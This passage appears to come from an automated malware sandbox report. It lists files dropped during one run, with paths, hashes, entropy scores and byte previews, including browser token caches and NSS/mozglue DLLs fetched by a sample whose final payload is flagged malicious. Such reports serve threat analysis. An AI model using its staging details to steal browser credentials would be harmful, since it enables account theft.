Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"88d18b6d-c594-415e-b3cc-5b374a7c6210"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732291731"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cde44e74-bae9-46fe-a7c3-30ccf4e0707a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	43129
Entropy (8bit):	6.095760790204337
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkAUXqgfbwPSba3hpuOFdYE6tsUQYqGwLWZkHUfG6kt:z/Ps+wsI7ynQfaR6qfyW0e6kaoZ
MD5:	6F579DEA279E8F8E87E7A0BEE72FF99D
SHA1:	3957082697AAC0F37194A2F858527604BF6DEAE9
SHA-256:	C2AA88CCF9B268ACF2A9703282106EC25C5A59F25150A4255AD6154EA71560AA
SHA-512:	B27EF49E89DDF683407D61091C8441A176C27671999D90D78AF774CD8175BC2BEDDAB9FC1B936765BBB64294EEFF720DD68BE075ABE9F7EE7BD1B304940F253F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d38c6110-aa64-4923-9705-0af370d3e42c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d9a4edbd-ee10-4edd-9455-1746fd92f0a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43129
Entropy (8bit):	6.095760790204337
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkAUXqgfbwPSba3hpuOFdYE6tsUQYqGwLWZkHUfG6kt:z/Ps+wsI7ynQfaR6qfyW0e6kaoZ
MD5:	6F579DEA279E8F8E87E7A0BEE72FF99D
SHA1:	3957082697AAC0F37194A2F858527604BF6DEAE9
SHA-256:	C2AA88CCF9B268ACF2A9703282106EC25C5A59F25150A4255AD6154EA71560AA
SHA-512:	B27EF49E89DDF683407D61091C8441A176C27671999D90D78AF774CD8175BC2BEDDAB9FC1B936765BBB64294EEFF720DD68BE075ABE9F7EE7BD1B304940F253F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f31e8390-bea7-4fc9-81ff-cf93ec2fb649.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44641
Entropy (8bit):	6.087384351420495
Encrypted:	false
SSDEEP:	768:fMkbJrT8IeQc5dKzBZUXqgfbwPSba3xWUPBXDeFcFn29fLdCvocQYqGwLWZkHUfi:fMk1rT8H1KifaBn29LdaoSqfyW0e6M
MD5:	1FB1CCD21BA20C5359F759BFABE03435
SHA1:	9B9444545B996628675A8B3E6161D6D8A288526C
SHA-256:	CF3A833887A6A9BDC8A6DF0E71AEE55A5824102054B716CAAD711F07BF781386
SHA-512:	1DC7E6201744FF943FE76549107B21320B6D8965BE0A6CE4A836AC9C968854368F4A6E76018336B34F89EE84CA62A533B400116679B6EF938545B5493EC70504
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"88d18b6d-c594-415e-b3cc-5b374a7c6210"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732291731"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.845551025191853
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxGYOxl9Il8uxLFBlVXxPQKfb2hOCbQ6vd1rc:mVYX3lV5bb5Cbn4
MD5:	F6775A8E6202071A0DB8E5FFB48A5A47
SHA1:	F58D683EBE93627003F83586E0AC6242CA911DDB
SHA-256:	6D18B2545A1288F91133D736D8DDE99EA74139B86F13F65AE89178FB47C65A92
SHA-512:	12B4242C24473933EBE8672FE3112A017B8CEEA1A7412370CED9CBE048CB2A2A14DD70739B77BFE3DA9B6A8E49061274A136F2980B93705C1D7B8B153EDCBE68
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.0.m.M.w.E.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.x./.F.d.t.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.006936183407739
Encrypted:	false
SSDEEP:	96:xYXV06zz8EnMkUC87CppCmVgkhkNYfDvZ30dtOUX:xYi6zTM1GymVgkhkSbhEdTX
MD5:	C07A9F55EC0C4863E69C9124AF143734
SHA1:	4CB3E429BDA4E855E62F8083AE1467E92F226D90
SHA-256:	5D2F2AEC924321279698E00762E6C2B7BC54B08F33A35E075645AA2263514EF3
SHA-512:	B49CB16968360F4795012752670D43316F92F7DB030F2654696F9B1C8AADF271C3AFC0FCC7C02F2E2394DC10F56396C361DC3C82CACB051E3AD188A06E6598FE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".n.F./.H.G.P.k.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.x./.F.d.t.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8975562710141647
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xKxl9Il8uxYO096M3jEFK9lwGaMoQ3c9lN44Dd/vc:a4YXYf96M3jEM57/c9lfe
MD5:	06CF2CEB6671D0FAF46B59BA1F3ACF74
SHA1:	DE2CF4CDB0B61C766E4D0EEC280B52F73F093673
SHA-256:	CF0F55074904B6C95FC4D5A0DB290F037153B809D2DD608B5C8833EAC06D2C0E
SHA-512:	30C776B2F16F438B77F3C64F7913AE4D8F62008580D5169A18652D6FC28F564A420E5DBD8B121152BD65DFBE3F53C656EAEF1D2C2724FFE8E1641E8D2A8DB138
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".j.D.T.i.S.M.p.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.x./.F.d.t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\rnd[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6821123
Entropy (8bit):	7.986175594759049
Encrypted:	false
SSDEEP:	98304:vi0rHj8I5IxALsFFyTFaYTXMHyAw8aMAKa392mAYYqUSoYTk0KGjp2kizn:vi0rDyraTFNKyLUAKw2B7qUShTkQjDir
MD5:	BFC5EA31B4AEEFEC1508E8F5B458E574
SHA1:	976FE53A467068719F70A856DCA3BB7B65A9D6DC
SHA-256:	44997A5AA2709C2CEF26EA501D4F01140D34B59F0FD182282354598EEF4B224B
SHA-512:	146EF0163DF8BE2C8E5A834C27D731C817E0540A30D4E4746109FD564C33D2D7F00560017F0D5B9ADE9EEA05611ED440F64022F97E30949E5BB58041452F590E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......u..!1jhr1jhr1jhr...r9jhr...r.jhr...r<jhr...r3jhr..ls#jhr..ks8jhr..ms.jhr8..r8jhr8..r3jhr8..r6jhr1jir<khr..ms.jhr..hs0jhr...r0jhr..js0jhrRich1jhr................PE..d......e.........."....!.....\|.................@..........................................`.........................................0...4...d...P............P...$..................p...T...............................@...............p............................text...~........................... ..`.rdata..j...........................@..@.data....k..........................@....pdata...$...P...&..................@..@.didat..............................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37647399752008
Encrypted:	false
SSDEEP:	48:SfNaoQ8XrZXaTEQ8ifNaoQNtT3t2QNvfNaoQHsQQHQfNaoQ3uw60UrU0U8Q3w:6NnQBTEQtNnQMQBNnQ1Q8NnQO0UrU0U4
MD5:	5333242A6FB894F2AE130F3A6A48DAF9
SHA1:	40DD39CE07B459E81E2DBA94689F2399E427D2B9
SHA-256:	506035AC38D4AB34801D1063D2A0FF702481DA3DDEC7306533274691AA5A2A25
SHA-512:	552F6ACF7A8EE728E49CE9BDFB2B1F418889F71F60D22ECB526AA882107F50F25209CACB4858842DCF0DEF069158EFE8204814D5A36197BA3E06FE7F2A3487E0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B548FD0E9AE04CD70A245511AB09E6DE",.. "id": "B548FD0E9AE04CD70A245511AB09E6DE",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B548FD0E9AE04CD70A245511AB09E6DE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A3E164D533145C044EC3EAFE804899F4",.. "id": "A3E164D533145C044EC3EAFE804899F4",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A3E164D533145C044EC3EAFE804899F4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922048
Entropy (8bit):	7.952724659681467
Encrypted:	false
SSDEEP:	49152://TTxdTbrxgYihAr5xkWqG8E/N3SEry5RUuzen3lBsVL9t:/7TxZb0qrd9ucB8
MD5:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
SHA1:	16712810FCF1BB9C7F1940AF8E2E59B92F4A7B65
SHA-256:	EDEC375A0EF3CE9E3067AA661E9E32FEE7CBA13FF4F3C7AB69D6DB8D7B22B03D
SHA-512:	05D112DAD0D496F825ED88C18D7C196432994F5CCCA9F6F1E098D6376D56C1AA98D8C47E9542ACFE2A53672802E89E68257F607B843E4EBDBD38CD44F1DDBDDD
Malicious:	true
